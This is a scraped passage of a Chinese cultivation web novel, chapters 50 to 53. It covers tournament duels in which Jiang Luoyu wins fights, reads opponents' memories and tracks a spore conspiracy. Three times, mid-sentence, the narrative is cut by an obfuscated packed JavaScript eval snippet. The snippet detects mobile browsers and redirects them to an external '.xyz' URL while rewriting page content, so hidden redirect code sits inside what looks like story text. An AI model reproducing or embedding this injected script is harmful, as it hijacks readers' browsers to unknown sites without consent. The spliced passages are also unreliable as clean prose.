东方顺也不见外,直接打开玉盒——里面飘着一朵晶莹剔透的雪莲花。 “多谢诗道友好意了。” 他收起雪莲,看清空中的抽签结果,促狭道:“诗道友一会儿还是小心为好,别被那人看去了心里的秘密。” 诗沐心抱着琵琶的手紧了紧又迅速放松,笑而不语,行礼后去了比赛的擂台。 姜洛玉抱着玄衣剑,手里揉搓着无相球,立志于手搓出来一个等比例缩小的丛明雪。 无相球:“别、别玩了,主人……” “我给你变一个还不成吗!” “不成。”姜洛玉余光瞥见那一抹素白,把无相球拍回丹田,“打完继续。” “天正宗姜洛玉。” “昆仑殿诗沐心,请姜道友赐教。” 两人之间隔了一丈左右的距离,姜洛玉握着玄衣剑还没动作,对面琵琶的“铮铮”声就传了过来。 实质化的音波如海潮般逼近,姜洛玉只好先提剑将其斩断。 “玉海浮浪!” 50.穿越第五十天 淡蓝色的音波凑在一起,视觉上变成了惊涛骇浪。 诗沐心弹得是一首异常轻柔的曲子,宛若清泉流响,似乎和招式里的“海”字没有半分关系。 姜洛玉不慌不忙地劈开音波,准备快点结束战斗。 他参加修真大比的本意就是通过对战来渡过瓶颈,不过大比之前他就进阶了,再战下去没什么意义。 最重要的是,这些一百多岁的“小朋友”,在他眼里还真不算什么像样的对手。 他一个仙界修炼了五百年的上仙,还是天地灵物的化身,阅历、悟性远远超过这些不足两百岁的金丹修士。 这么多场打下来,所有对手都堪称漏洞百出,《太一万法无相诀》一运转,意志不坚定者甚至当场精神崩溃。 擂台上起风了。 诗沐心弹琴的手快出了残影,音波从山涧溪流变成了声势浩大的海浪,坐姿变成了站姿,正弹又变成了反弹。 她弹奏的是《妙音玉昆功》第三曲《听海吟》第七段“玉海浮浪”。整个第三曲共有九段,从一到九,可攻可守,攻守之力逐段增加。 按理说她与姜洛玉同为金丹后期,姜洛玉面对这第七段不可能……如此轻松。 不仅游刃有余地斩断那些音波如同砍瓜切菜,甚至连《正天诛魔剑法》的剑招都没用出来。 擂台上的风更大了。 诗沐心“嘶”了一声,耳后被混在风里的无形剑气割伤,顿时强行将曲子转到了第九段——天海一色! 幻月玉髓琵琶爆发出炫目彩光,铮铮琴音如铁骑踏冰,迅疾而悲壮。 姜洛玉脚下一软,竟站在了幽蓝海水之上。他将挥剑的动作慢了下来,抬眼向对面望去。 诗沐心背后,一轮圆月缓缓沉入水中,沉没时万籁无声,天空虚影和海水融在了一起。 好机会。 玄色长剑破空而起,上面低调的银色暗纹反射出冷冽的寒光。 擂台上的风终于停了。 诗沐心额角划下一丝冷汗,揉弦速度加快,右手弹奏的动作肉眼更是无法捕捉。 风没停,它无处不在! “此剑,风月无边。” 轻柔的男声随风传递到擂台的每一处空间,此剑正是《正天诛魔剑法》第十一式——风月同天! 又一轮明月从姜洛玉身后显现,月明如昼,和风四起。 诗沐心大喝一声,甲片划过琴弦之时寸寸断裂,琴音高潮迭起,化为结界环绕四周,阻挡着无处不在的剑气。 玄衣剑碰到了琴音汇聚的结界,风月紧随其后汇入其间。 “咔嚓”,诗沐心咬着牙继续弹奏,试图修补结界裂纹。 颈间一凉。 “道友,承让了。”姜洛玉稳稳握着剑柄,下意识催动了《太一万法无相诀》。 看一眼……也没什么吧。 这小姑娘比赛之前面对他就怪紧张的,似乎是在害怕? 这一看,姜洛玉看见了不得了的东西。 夜深人静,昆仑殿的圣女小师妹躲过巡逻弟子,跑到重伤又被关了紧闭的大师姐房间。 她给昏迷的大师姐换了一身舒适的衣物,又在伤口上涂了药,最后……在大师姐额头落下一吻。 姜洛玉:“……” 从得来的记忆里能够看出,昆仑殿那位大师姐,可是最“讨厌”诗沐心这个小师妹了。 还是宿敌文学。 诗沐心满脸惊恐。 整场对战下来,她见姜洛玉没用出除了剑法之外的东西,还以为自己能逃过一劫。 直到她看见自家大师姐那张艳丽多情的脸,“完了”两个字不断在大脑重复。 “大师姐”对她嫣然一笑,道:“师妹啊,原来你对我是种心思。” 诗沐心瞬间崩溃,连昆山圣女的架子都摆不住了。 她红着脸以为自己心思暴露,过往种种以及爱意一齐涌上心头,半天都说不出一个字。就连眉心月牙印记也变成了粉红色。 姜洛玉撤去功法,收回玄衣剑。 整理了一遍得到的零碎记忆,他问:“你觉得她恨你?” 诗沐心一愣。 她现在被功法余韵影响,对姜洛玉很是信任,乖乖回道:“不恨么?如果不是我被师父收入门下,昆山圣女本来应该是师姐的。” 姜洛玉:“那你是从什么时候觉得她恨你的?” 诗沐心:“从我成为昆山圣女之后开始的。从那之后,师姐就没再对我露出个笑脸。” “你可知昆山圣女使命为何?”姜洛玉斟酌着开口。 诗沐心迷茫摇头。 姜洛玉蹙眉:“此处不是说话的地方,先出去。” 诗沐心听完直接跳下去,又跟在姜洛玉身后上了他的七宝莲台。 “昆仑殿那帮人不管管吗?”东方顺费解地试图看清昆仑殿弟子脸上的表情。 很好,全都面无表情,很符合昆仑殿的特色。 来的所有人里,也就诗沐心脸上有点表情了。 赵珏:“管那么多做甚,你盐吃多了?” 东方顺:“……” 七宝莲台之上,姜洛玉设下结界,拿出那伽交给他检测孢子的法宝。 法宝只有拇指大小,看起来像个微缩灯泡。 这是那伽连夜用收集的孢子赶制出来的法宝,三尺之内能够选中对象进行检验,绿光亮起代表对方体内没有孢子存在,红灯反之。 而现在亮起黄灯,则表示诗沐心身上虽有孢子但并未扎根。通过凝星还有何在夕的检验,孢子只有在扎根或是溶解的时候才会生出异常,溶解又只是单方面的垂死挣扎,不会被主人发现。 未扎根时更是没有被控制的可能,对话也不会被白卅窃听。 他决定帮一把似乎被奸人蒙骗的可怜孩子。 “昆山圣女、圣子每一代都寿命短暂,根本没有修炼到合体之人。昆仑殿对外宣称他们是经受不住完全版的《妙音玉昆功》,实际上,他们是将自己的一身修为骨血献祭给了昆仑殿的至宝。” “昆仑玉华琴。” 诗沐心如遭雷劈,怔怔道:“姜道友……你怎么、你说得都是真的吗?” 姜洛玉看了一眼天:“我敢对天道发誓,刚才所讲绝非虚言。” 轰隆轰隆带着法则之力的雷声响起。 这些秘辛可是他从乘风阁主送给丛明雪的独家密报里看见的,那厚厚的手抄册子里满是修真界各大门派和势力的秘辛,细究起来一个比一个炸裂。 昆仑殿这些只不过是毛毛细雨。 诗沐心:“……!” 她只知昆仑玉华琴,却不知自己还有使命……更不知“使命”竟是用骨血喂养它。 姜洛玉:“不过每一届 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965160|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的昆山圣女、圣子都是心甘情愿献祭,昆仑殿会对他们的家人有所补偿。就是不知,为何你会不知道。” 诗沐心:“我是小镇孤女……可师父为什么要骗我?她说让我当圣女,只是因为我资质够高,气运也足够,能够和昆仑殿相辅相成。” 姜洛玉:“诗道友,我这功法能看见你关于你那大师姐的一些记忆。” “当局者迷,旁观者清,她在你提及‘昆山圣女’时的表情,绝对不是嫉妒的厌恶,而是对这东西本身的憎恨。” “我建议你回去找她旁敲侧击地谈一谈,或许会得到你想要的答案。” 诗沐心被巨大地信息量冲击地晕乎乎的,行了个礼就想下去。 “等等。”姜洛玉叫住诗沐心,拿出一块儿玉佩,“把这个拿着。一旦遇到了什么你们实在解决不了的问题,捏碎它,仙尊会赶去帮你。” “再发个天道誓言。” 虽然根据记忆能看出对面是个一心修炼发扬宗门的好学生,但防人之心不可无。 诗沐心连连道谢,发下誓言后,恍若神游般下了七宝莲台。 目送诗沐心远去,姜洛玉靠在莲瓣上,讽刺地笑了一声。 看秘辛时他就猜测那昆山玉华琴有猫腻,需要吞噬血肉的“仙宝”,多半是魔器。 不过那时只是猜测,今天看见了诗沐心关于昆仑玉华琴的一些记忆,直接就能确定了。 谁家“仙宝”浑身黑光?上面还有那么明显的魔纹,简直倒反天罡。或许只有昆仑殿那群被魔器蒙蔽心窍的修士,才会认为这是“仙人”遗宝。 他估摸着,魔器应该早就遍布整个修真界了。 天道掉线了么,这样都不放几个天雷把它们劈了? 百花殿。 “咳咳……”丛明雪吐出几道彩色烟圈。 迦南月抹了把脸上的彩色泪水,无奈道:“凝星,你能不能试出来个副作用没这么强的药来?” 凝星有些尴尬地继续往汤药里加灵草:“我再试试。” 何在夕扇风的动作不紧不慢,道:“若不是我修为倒退太多,丹药早炼出来了。” “医神的本事我可学来不少。就是那老头太死板,不然也不会死之前都没有个继承人。” 丛明雪咽下又一副汤药,头顶长出了几个彩色的惑心蔁。 “别动。” 姜洛玉刚到百花殿就看见这副景象,小心翼翼摸了摸莹润的彩色小蘑菇,忍不住笑出声:“哈哈哈……星姨汤药副作用怎么进化了?” 凝星:“……” 何在夕实在看不下去,夺过凝星的药材筐:“我来处理药材,你掐诀控火,我就不信这样还不算你我合作的药材!” 凝星有些犹豫:“炮制药材的灵力……” 何在夕倒了一堆补灵丹进嘴里,含糊道:“死不了,再怎么说我的身体强度都是神君级别的。” 凝星也不拖沓,两人一齐配合着开始熬制汤药。 姜洛玉知道凝星自从献祭了神格,熬制汤药一直都有副作用,却不知道这样合作还能抵消。 两个时辰后。 丛明雪看了一眼黑乎乎、散发着诡异气息的药汁,在众人的视线里一饮而尽。 “怎么样?”姜洛玉满怀期待。 丛明雪:“我感觉……” 他怎么变成少年人的声音了? 51.穿越第五十一天 一片死寂。 姜洛玉揉了揉眼睛,确定对面站着的是个刚到他胸口的银发少年。 少年面容冷峻,不说话的时候带着股疏离的气质,再加上那双葱绿色的眼睛,活脱脱一个丛明雪“少年版”。 “这副作用还怪体面的。”姜洛玉笑得不行,凑过去捏了一把少年还没张开的脸蛋。 丛明雪:“……” 他退后一步,却踩到了过长的法衣,红着耳根缩小了衣服才站稳。 凝星拿着药查验了半天,肯定道:“这药的副作用六个时辰后就能消失。看来有念卿帮着炮制草药,副作用果真正常不少。” 至少不是什么打嗝、流泪、长痘、干呕……狼狈又无法消除的副作用了。 何在夕趴在炉灶旁边双目无神,经脉里的灵气都被抽空了。 “喝了这药再见白卅,他就察觉不到孢子已死吗?”姜洛玉好奇道,手上也没闲着,把玩着丛明雪的发丝。 凝星:“自然。惑心蔁的孢子一旦脱离本体,生根之前和本体都处于断联状态,本体也只能在靠近被寄生物三尺内才能确定孢子是否还在。” 姜洛玉:“难不成什么时候生根白卅也控制不了?” 何在夕惨白的脸色在吃了丹药后恢复不少,接过话茬道:“能控制,大概率只能控制比他修为低的,还控制不了多少。不过……你今天拿着红绿灯有什么发现?” “红绿灯”——检验孢子状况的法宝,那伽吸收异世经验做出来的,直接冠上了正主的名字。 姜洛玉拿出红绿灯在丛明雪身上晃了晃,法宝闪烁着黄澄澄的亮光:“我拿着它在金丹修士的比赛场地逛了一圈,全都是黄色的光。” 那些修士里八洲俱全,进一步验证了他们的猜测。 白卅已经将孢子洒满整个修真界了。 何在夕:“不知道那白卅还有什么后手,不过说到底,他也只是个渡劫圆满的修士,不是什么神君下凡。顶多算幕后之人的好用的棋子,就是有天大的能耐,也不可能控制得了每一个人。” “他种下孢子的目的,或许并不是希望控制谁。” 清亮的少年音略显突兀,在众人各异的目光里,丛明雪眸子颤了颤,重新闭嘴,打算用幻形术恢复成年体态。 “别……我还没看够。”姜洛玉打断丛明雪施法,“星姨你们继续研究溶解孢子的解药,我们两个出去玩儿会。” 他又看向迦南月,道:“娘,你还想待在三清秘境吗?秘境里有不少天材地宝,你挑一些给门内弟子带回去吧。” 见姜洛玉语气真挚,迦南月也不客气,像在姜国时一样抚了抚他的发璇,“好”了一声。 三清秘境几乎可以说与天地同生。日积月累下,天材地宝不计其数,就算如今流落下界失了不少宝贝,存货依旧惊人。 地表的资源供给几十个宗门修炼都轻而易举,更别提还有地底深处休眠的仙花神草。 姜洛玉见迦南月只拿了两个储物戒的天材地宝,默默上手又装满五个储物戒。 迦南月:“……玉儿够了。” 这么多她也用不完。 姜洛玉点头,又塞了一储物戒的极品灵宝给迦南月。 上一世襁褓里的他只能眼睁睁看着迦南月赴死,后来当了姜国皇帝,午夜梦回有时还会梦见那天的雷雨。 他有两个母亲,一个养他,一个生他。她们解了他化为人身后六亲缘浅的弊端,此后渡劫,天道也会因他身上多出的“人”的特质手下留情。 如今他和迦南月隔世再遇,修真界又暗潮涌动,不多拿些东西给她当作底牌,姜洛玉心有不安。 迦南月无奈笑笑,喝下另一碗汤药,变成了二八少女状。 她换了一套颜色更加娇嫩的襦裙,和殿内众人挥手作别:“我出去看看有没有不长眼的来我合欢宗生事——” “诶,风止你怎么变年轻了?生什么事,需要打架吗?”红楹新奇地按住迦南月,指了指自己,“我可以当打手,免费。” 迦南月摇头:“不需要打手,一盅忘情水下去药到病除。” 众人:“……” 姜洛玉刚想带着丛明雪去迷雾海继续钓鱼,瞥见迦南月一个劲儿示意自己过去。 “娘思来想去,我这儿只有这东西适合你。” 玉简被人拍在了手心,姜洛玉神识一扫,被口水呛了个半死。 这东西居然是双修功法《风月和鸣诀》,还是精简过的男男版本。 “咳咳娘你……”他难以置信地提出疑问,“这些动作是人能做出来的吗?” 迦南月:“有什么不可能,你都修仙了还怕这个?” 姜洛玉:“……” 迦南月:“你们还没……你是在下面吧?” 姜洛玉尴尬得要命,头摇成了拨浪鼓,又点了点头。 迦南月:“那就好。你们两个修为相差太大,第一次双修难免过头,天道可不允许走如此捷径。有了这功法,你就能将对方的元阳存在身体里慢慢炼化。” “我先去了,娘等你夺魁。” 因为结界存在,丛明雪听不见两人都说了什么。见迦南月蹦蹦跳跳地离开了百花殿,这才走上前牵住了姜洛玉的手。 “……变回去。”姜洛玉收起玉简,脸红得要命。 丛明雪“嗯”了一声,从少年重新变回成年体。 “发生什么事了?”他直觉不对,把人虚虚揽在怀里问道。 “喂喂喂,卿卿我我出门左转。”何在夕扯着破锣般的嗓子,“别打扰我们两个炼药。” 姜洛玉拽着丛明雪心念一动,直接去了迷雾海:“走走走,神、师尊我们去钓鱼。” 丛明雪:“……” 次日,六进三的比赛,姜洛玉晋级得毫无悬念。 他的对手是此前一直轮空,且一上擂台对手不是重伤无法参加,就是临时有事弃权的“气运之子”——御兽宗的段云钟。 姜洛玉剑都没拔,开局直接策反了段云钟的本命灵兽琉璃雪魄狐。 那白狐狸抖着三条尾巴扑了过来,没有理会段云钟的疯狂召唤,“嘤嘤”怪叫着变回幼狐状态,扑到姜洛玉怀里喊“娘亲”。 段云钟道心摇摇欲坠,果断认输抢回了狐狸。 自己一把屎一把尿养大的孩子管别人叫娘,简直没有天理! 姜洛玉笑而不语,静静看着龙腾榜的排名继续变动。 第一名依旧是他,第二则是玄极宗的东方顺,第三……是归墟宗的林双鹤。 那天搭话的高马尾女修。 今天林双鹤的马尾梳得更高了,发尾散在脑后像一条长长的飘带。长手长脚,抱着一把满是煞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971170|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的大刀,五官英气逼人,对上他的视线还点了点头。 姜洛玉也点头示意,回了三清秘境打坐,准备迎接明天的决斗。 “决斗规则——抽签,抽得相同签文的两人进行对决。胜者挑战第三人,若胜,则为魁首,剩下两名输者对战决出前三排名。” “若输,且排名靠前,则排名与第三人调换。第三人再与剩下一人对战,胜者为修真大比金丹期第一。” “听懂了吗?” 三人齐刷刷点头。 姜洛玉随意地捏住其中一个木签,朝观赛台看了过去。 黑发黑眼少年状态的丛明雪隐没在人群里,毫不起眼,他也只能凭借着两人的联系才能找到他的所在。 少年看过来,面无表情了几秒,然后对着他露出一个不太熟练的笑。 十分僵硬,连那张堪称毫无缺点的脸都拯救不了笑容带来的违和感。 姜洛玉对着丛明雪挤了挤眼睛,笑得眉眼弯弯。 “看什么呢……”东方顺自言自语着,顺着姜洛玉的视线看过去,却什么也没发现。 林双鹤看见和姜洛玉一模一样的签文,握紧了手中长刀。 “天正宗姜洛玉。” “归墟宗林双鹤。” 自报家门之后,就是战斗的起始。 擂台下方其他早就被淘汰的修士聚在一起,有的聚精会神,有的窃窃私语,还有的…… “买定离手,修真大比魁首花落谁家?究竟是仙尊弟子不负众望,还是另两位选手出其不意?”赵珏花蝴蝶一样穿梭在围观修士里。 散修盟的挂牌弟子用看傻子的眼神看他:“有悬念吗?” 明眼人都能看出来仙尊弟子强得离谱,金丹期就能使出来炼虚才能用的剑招! 虽然天正宗掌门出面解释,他们的《正天诛魔剑法》只要悟性够高,就能越阶修炼剑招,但还是惹得众人概慨万千。 怎么会有人的悟性高成这样?!恐怖如斯! “活跃气氛而已。”赵珏摊摊手,一袋极品灵石就到了手上。 东方顺:“我买我自己。” 赵珏笑眯眯地收下灵石:“多谢侄儿孝敬了。” 东方顺:“……” 无视赵珏看冤大头的眼神,东方顺又将注意力放回擂台之上。 说话间,两人已经过了几十招。 十几招里两人全都没动真格,仅仅是用了最基本的刀剑招式,甚至连动用的灵气都微乎其微。 剑意正气凛然,刀势大开大合。 “好刀法。”姜洛玉赞叹道,手腕一转,用巧劲儿挑起林双鹤的长刀。 “嗡——”得一声长鸣,刀剑再度撞在一起。 林双鹤同样打得酣畅淋漓,回道:“姜道友谬赞,在下如果没猜错,你还没使出全力。” “喀嚓”碎响过后,两人脚底的擂台终于承受不住刀剑的戾气,出现了半米的浅坑。 林双鹤跳出坑底,凤眸微眯:“姜道友,接下来我会用出我最强一刀,也请你……” “让我体验一下‘日月同天’。” “自然可以。”姜洛玉弹了弹玄衣剑上的浮灰,“不知林道友这一刀如何称呼?” 林双鹤咬破指尖,精血涂在了刀刃之上。 “《洪荒天刀斩》第六式——斩星诀。” 52.穿越第五十二天 星星? 姜洛玉饶有兴趣地看向阴沉下去的天幕,长剑点地,轻轻划了一下。 顷刻间日月旋转升起,林双鹤眼底压抑不住的兴奋转化成了手中长刀攻势。 她一跃而起,双手握刀狠狠向下斩去! 阴沉的天幕划过无数亮光,隐蔽在其中的星子化为流星,随着出刀动作如雨点般落下。 它们坠落得如水如风,又陡然上升,和紧贴在一起的日月撞在一起。 姜洛玉曲指在剑柄上敲了两下,化作一道流光冲向半空。 林双鹤握着狂雨的手不敢有丝毫松懈,刀身泛起点点星光,流动间宛若一条古老的银河。 快,在快些! 玄衣剑察觉到狂雨妖刀逼近,剑身同样起了变化。 半是烈日灼灼,半是寒月泠泠,橙红与冰蓝二色交织在漆黑长剑四周,化作长龙呼啸而去! “竟然是剑气化龙!”归墟宗宗主惊呼道,“尘极,你们天正宗可是又多了一名不出世的天才。” 上一个有如此资质的,还是如今的药辛仙尊。 她略显担忧地望向林双鹤的位置。这一剑,怕是鹤儿承受不来。 玄极宗宗主揶揄道:“小小年纪就对剑有如此领悟,尘极你若是松懈些,保不准明天就要被人挤下掌门之位。” 尘极道君:“……诸位过誉了。” 这些天类似的夸奖他听了不知多少遍,心下虽喜他们天正宗终于又出了个甩其他宗门十八条街的弟子,但心里始终犯嘀咕。 姜洛玉放在魔器之祸前,只是个中规中矩的“天骄”,完全没有现在……宛若脱胎换骨一般。 对剑道上的理解,近乎到了妖孽的地步。 外人都说天正宗这一计欲扬先抑,特意放出假消息混淆视听,又用了不外传的法宝蒙蔽天道,这才制造出姜洛玉“一鸣惊人”的效果,来为天正宗增加声望。 这些年玄极宗后来居上,出了几个天骄反哺宗门,底蕴又深厚不少,收徒的时候从天正宗手里抢去不少好苗子。 尘极也着急过,但没什么办法。别人不来,他总不能抱着人家大腿求人过来。 天骄之所以为天骄,资质气运缺一不可。而顶级天骄的气运,更是能佑泽血亲、友人、师门,一般等到天骄步入合体期后,对师门的影响就会迅速消失。 一个宗门内的年轻的天骄越多,就越能吸引后来者加入。 修真大比来得可不仅是各洲门派,还有各洲的修仙世家。有的世家会把资质尚可,却修练不了自家绝学的孩子送入排名前几的宗门求学。 天正宗这次修真大比出了一个姜洛玉,有心者早就私底下联系了尘极道君,想把年龄适宜的孩子五年后送到天正宗来。 谈话间,金丹场地的擂台上只能看见白烟。 众人屏息凝神,等待着结果出现。 白烟散去,林双鹤拄着狂雨刀半跪着,身子晃了晃,喷出一口血来。 姜洛玉隔空扶住林双鹤,送去化解日月之力的丹药:“你的刀还能更快、更迅猛。” 林双鹤:“我知道。” “那为何心有迟疑?”姜洛玉擦完玄衣剑,将其收回识海,“《洪荒天刀斩》可斩万事万物,不需要犹豫这种东西存在。” “需要我帮忙吗?” 林双鹤一惊:“不、不必!” 姜洛玉熟练催动功法,对面的人果然更惊恐了,甚至挣扎着想拔刀跳下擂台。 奈何日月之力过于霸道,林双鹤错失良机。 姜洛玉:“是不是在想我为何如此失礼?” 林双鹤点了点头,咽了下口水,心里涌上一股说不清的情绪。 姜洛玉:“那就对了,我这功法本来就没有礼貌。” 林双鹤:“……” 水、一望无际的水,天地间似乎只剩下了潮湿粘腻的蔚蓝色。 再之后,漫天水汽里,出现了一群长相各异的鱼妖。刀光血影过去,水消失了,只留下一地刚刚咽气的……凡人尸体。 这是林双鹤最难以释怀的记忆。 金丹初期时,她接了除水妖的任务。本来只是个很简单的丁级,谁知情报有误,水妖的实际修为已经到了元婴中期。 在水妖的蛊惑下,她杀了一群手无寸铁的凡人。 那些人里有刚生育过的女人,有未满百天的孩子,有衣衫褴褛的老伯,有刚干完农活的男人…… 她秉持着《洪荒天刀斩》的训诫,出刀出得毫不犹豫,回过神来大错已铸。 心魔将成,水妖兴奋地看着即将毁在它手里的人族天才,想要将其吃了补全肉身。 林双鹤趁着水妖张口瞬间自爆金丹,把水妖炸了个半死。终于察觉异常的归墟宗宗主赶到,灭了水妖收敛了凡人的尸骨,又将她带回宗门。 归墟宗宗主告诉她,就算她不出刀,那些凡人也早就成了空壳,总归逃不开一个死字。 林双鹤沉默不语,挨家挨户上门请罪,安置了所有死者的家属。闭关十年重修破后而立,修为到了金丹中期。 狂雨出刀时,却难以做到毫不犹豫。 “仙长,镇上受水妖之祸多日,死了不知多少人。” 林双鹤强撑着站起,看见对面多了个身形佝偻的老妇。她记得当初自己杀得,是老妇独子。 “老妇”眼神浑浊,声音如泣如诉:“妖物把我们当成了牲畜,每日都会挑去一批青壮以虐待为乐。谁家有刚出生的孩子,更是直接生吞入腹。” “我那儿子被水妖选去,每天晚上都能听见他的惨叫。仙长其实不必多思,错不在你。死在你手下,总比被那妖孽吸干再吃了好,起码……我还能再见我儿一面。” 林双鹤踉跄着走过去,泣不成声:“阿婆我、是我不好……我对不起你们,我对不起——” “你做得够好了。水妖已死,亡者轮回。”老妇的声音逐渐变得年轻,短短一句话的时间变换了几十种声线,就连身形也在不断变幻。 “下次出刀,别再犹豫了。” 林双鹤怔怔看着面前老妇,不只是老妇,是她去镇上请罪时看见的所有人。 他们迁怒过她,却从未真心实意的怪过她。 困扰了她多年的心魔雏形,在最后一句话里悄然逝去。 姜洛玉攥拳悄悄收起从三清秘境刚拔出来的清心花,咳了咳:“别哭了。” 林双鹤察觉到姜洛玉的小动作,又嗅到空气里的花香,吞下化灵丹行礼道:“多谢道友相助!” 姜洛玉:“不必多礼,日行一善。” 《太一万法无相诀》都快让他用成“心魔消消乐”了。 也是这些天的对手没做什么亏心事,要不然他一变幻,和看见恶鬼寻仇没什么区别。 林双鹤再度拱手,跳下擂台去了归墟宗宗主身边。 归墟宗宗主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976556|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉毛一挑,说了句“失陪”,便扯着林双鹤到一边设下结界。 “鹤儿,你身上的心魔?”归墟宗宗主探查一番后开口道。 说起姜洛玉,林双鹤语气都柔和了不少:“多亏姜道友,他那功法奇异……让弟子恍若真的见到了当年的镇民。那时第一次下山阅历短浅,对于水妖一事故而未曾想开,经年累月已成心中之刺,又被心魔钻了空子。” “如今再见当年之人,心境大有不同,又得姜道友奇花相助,这才融了心魔。” 归墟宗宗主:“什么奇花?” 怪哉,她怎么没察觉到? 林双鹤摇头:“弟子不知,但其味道极淡。” 归墟宗宗主:“防人之心不可无。等比完去找你师叔好好检查一番,若是真没什么猫腻,为师改日回一份礼过去。” 林双鹤:“是。” 擂台之上。 姜洛玉打量着这次的对手,又高又壮,长相是修真界流水线一样的帅,多了几分野性,倒是有些像体修。 东方顺吊儿郎当地提着碧落剑,抱拳道:“玄极宗——东方顺。” 姜洛玉回礼:“天正宗,姜洛玉。” 东方顺:“且慢。” 姜洛玉拔剑的手一顿:“为何?” 东方顺指了指他的剑:“这几天你从未拼尽全力,我希望一会儿对决,你能拿出真实水平和我战斗。还有,你不许用那邪术。” “你既是剑修,就堂堂正正的和我用剑打一场!” 姜洛玉:“……谁说我是剑修的?” 东方顺:“……?” 姜洛玉:“我是法修。你说的邪术是我的主修功法。” “惊喜吗?” 东方顺声音拔高:“糊弄谁啊,剑道这么高的悟性你去当法修?” “你要真是法修,我、我把擂台吃了!” “喏。”姜洛玉掏出刚睡醒的无相球,“我的本命法宝。” 东方顺瞠目结舌。本命法宝的气息和主人同宗同源,外人一眼就能看出来。 他本以为姜洛玉手中长剑是他的本命剑,可谁知这银球一出现,竟是将那剑比了下去。 开灵智的狗都能看出来,这东西才是姜洛玉的本命法宝。 无相球差点尖叫出声,怎么这么多人啊!不是说比赛不用它,怕仙盟的…… 哦,它吞了遮掩上界法宝气息的法术和法宝,已经不怕白卅了。记忆回笼的无相球这才滴溜溜绕着姜洛玉转了几圈。 姜洛玉:“去。” 无相球兴冲冲飞向东方顺—— “小、爷、来、啦!” “啪”得一下,无相球被成功抽飞。 不过和碧落剑的接触让它与东方顺建立了联系,半空一鼓作气,直接变成了第二个“东方顺”。 手里还拿着配套的碧落剑。 无相球叉腰:“冒牌货纳命来!” 东方顺一拳锤碎擂台,捏了把碎石放进嘴里:“我做梦呢吧?对面要是真的……那老子是谁?” “哟,你这弟子还真是愿赌服输啊。”迦南月笑得眼泪都快出来了,“是不是得等到他吃完才能继续打?” “尘极,你们还有备用的擂台吗?” 尘极道君看了一眼迦南月,道:“有的。” 玄极宗宗主:“……” 太丢人了,他能不能暂时把东方顺踢出玄极宗。 53.穿越第五十三天 眼见着东方顺往嘴里扔了第二把碎石,姜洛玉回头嘱咐道:“无相,量力而行。” “量力”两个字声音加重不少,无相球还没想明白,传音就飘了过来。 “变回去,碧落剑也收回去。我暂时还不想被打成邪魔外道。” 无相:“……为什么?我还想让这小子尝尝被自己揍是什么感觉呢。” 虽然它现在只能使出东方顺最强一招的三成功力,但碧落剑的威力它却能模仿五成! 就算不能把东方顺揍趴下,也能让他怀疑人生。 姜洛玉颇有些无奈,道:“这么多双眼睛看着,一旦你用出《玄天九幽剑诀》,恐怕那些人也管不了我是不是邪魔外道,全都欲杀我而后快了。” 无相球:“……杀主人做什么?” 姜洛玉把手里的玄衣剑抛了过去:“木秀于林风必摧之。《太一万法无相诀》对修真界来说还是过于天方夜谭。” “接下来,你用我的样子和东方顺打。“ 无相球懵懂接剑:“那好。” 姜洛玉:“……去吧。” 罢了,无相球心智尚未成熟,能听懂指令已经很不错了。 至于其他的,还得慢慢教。 另一侧,东方顺已经把擂台吃出来个脑袋大的坑。 金丹修士天雷淬体,早就水火不侵,吃个石头自然不在话下。东方顺甚至从擂台用的混沌反元石里尝出来一丝甜味儿。 “东方道友,我先让我这本命法宝和你打。你打得过它,我再出手。”姜洛玉似笑非笑地搬出把椅子坐下。 东方顺扔掉石头,这才发现那什么球变成了姜洛玉的模样。 愤从心头起,怒上眉梢来。他拔出碧落剑冲向姜洛玉:“欺人太甚,一个破球算什么东西?老子偏要和你打!” “略略略,你打得过我再说吧。”无相球顶着姜洛玉的面孔做了个鬼脸。 两道身影缠斗在一起,只剩下姜洛玉老神在在泡着灵茶。 沏茶地动作行云流水,茶香四溢,看得赵珏不禁拍手叫好。 “喂隐空,你说谁能赢?”赵珏用胳膊碰了碰眉目清俊的光头和尚。 隐空行了个合十礼,手上的持珠拍打在洗得泛白的衣物上:“阿弥陀佛,小僧不敢妄下定论。” 赵珏若有所思:“也对,你没和他打过。” 隐空的确没和姜洛玉交过手,默默将视线转移到身旁抱刀的女修身上——因为他在上一轮碰到了林双鹤。 狂雨刀斩落了他放出去的所有莲花,最后架在了他的脖子上。 “九皋,你有何见解?”诗沐心抱琴站到林双鹤左侧,加入这一小堆人里来。 林双鹤:“姜道友很强。” 诗沐心微笑颔首。 